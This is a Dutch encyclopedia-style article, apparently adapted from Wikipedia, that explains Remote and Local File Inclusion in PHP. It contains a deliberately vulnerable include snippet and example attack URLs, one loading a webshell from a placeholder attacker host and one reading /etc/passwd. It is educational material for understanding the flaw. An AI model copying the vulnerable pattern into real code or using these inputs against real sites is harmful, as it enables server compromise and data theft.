Remote File Inclusion
Remote File Inclusion (RFI) is een vorm van kwetsbaarheid die voornamelijk voorkomt op websites. Hierdoor kan de aanvaller een bestand op de server van de website zetten, meestal door middel van een al bestaand script op de webserver. Het lek treedt op als gevolg van het gebruik van gebruikersinput zonder juiste validatie. Dit kan leiden tot iets kleins zoals het afgeven van de inhoud van het bestand of meer ernstige gebeurtenissen zoals:
- Code wordt uitgevoerd op de webserver.
- Het uitvoeren van de code client-side, zoals JavaScript, die kan leiden tot andere aanslagen zoals Cross-Site Scripting (XSS)
- Denial of service (DoS)
- Diefstal van gegevens / manipulatie
Types
Remote File Inclusion
Remote File Inclusion (RFI) is een vorm van kwetsbaarheid die voornamelijk voorkomt op websites. Hierdoor kan de aanvaller een bestand op de server van de website zetten, meestal door middel van een al bestaand script op de webserver. Het lek optreedt als gevolg van het gebruik van gebruikersinput zonder juiste validatie.
Local File Inclusion
Local File Inclusion (LFI) lijkt op de Remote File Inclusion kwetsbaarheid, maar in plaats van afgelegen bestanden maakt het gebruik van lokale bestanden (bestanden die reeds op de server aanwezig zijn). Het lek treedt op ook als gevolg van het gebruik van gebruikersinput zonder juiste validatie.
Programmeertalen
PHP
In PHP is de hoofdoorzaak het niet valideren van externe variabelen zoals $_GET, $_POST en $_COOKIE. Het merendeel van de kwetsbaarheden kan worden toegeschreven aan beginnende programmeurs niet vertrouwd met alle mogelijkheden van de programmeertaal PHP. De PHP taal heeft een allow_url_fopen richtlijn die, indien ingeschakeld, laat bestandssysteem functies om een URL te gebruiken om gegevens uit externe locaties te halen. Een aanvaller zal een variabele die wordt doorgegeven aan een van deze functies te wijzigen om ervoor te zorgen dat het kwaadaardige code bevatten vanaf een externe bron. Om dit beveiligingslek alle input van de gebruiker moet worden bevestigd voordat het wordt gebruikt te beperken.
Het meest opvallende zijn include en require, maar de volgende zijn ook kwetsbaar indien niet geverifieerd:
include_once, fopen, file_get_contents en require_once
Voorbeeld
<?php
if ( isset ( $_GET["PAGINA"] ) ) {
include ( $_GET["PAGINA"] . ".php" );
}
?>
De maker hiervan wil natuurlijk dat dit gebruikt wordt om de pagina's van de website te weergeven, hoewel dit ook kan worden misbruikt door de aanvaller. Voorbeelden hiervan zijn:
*/kwetsbaar.php?PAGINA=http://evil.example.com/webshell.txt?- zet kwaadaardige code op de website. */kwetsbaar.php?PAGINA=exploit- laad kwaadaardige code die al op de webserver staat. */kwetsbaar.php?PAGINA=/etc/passwd%00- laat de aanvaller de inhoud van het passwd bestand op een UNIX systeem.
Zie ook
- Metasploit Project, een open-source penetration testing tool die ook test voor RFI
- SQL-injectie
Externe links
Content Disclaimer
Informasi ini disarikan dari Wikipedia dan disajikan kembali untuk tujuan edukasi. Konten tersedia di bawah lisensi CC BY-SA 3.0. Kami tidak bertanggung jawab atas ketidakakuratan data yang bersumber dari kontribusi publik tersebut.
- The information displayed on this website is sourced in part or in whole from Wikipedia and has been adapted for the purpose of restating it. We strive to provide accurate and relevant information, however:
- There is no guarantee of absolute accuracy. Wikipedia is an open, collaborative project that can be edited by anyone, so information is subject to change.
- It is not intended to constitute professional advice. The content displayed is for informational and educational purposes only. For important decisions (e.g., medical, legal, or financial), please consult a professional.
- Content copyright. Wikipedia is licensed under the Creative Commons Attribution-ShareAlike License (CC BY-SA). This means that content may be reused with appropriate attribution and shared under a similar license.
- Responsible use. Any risk arising from the use of information from this website is entirely the responsibility of the user.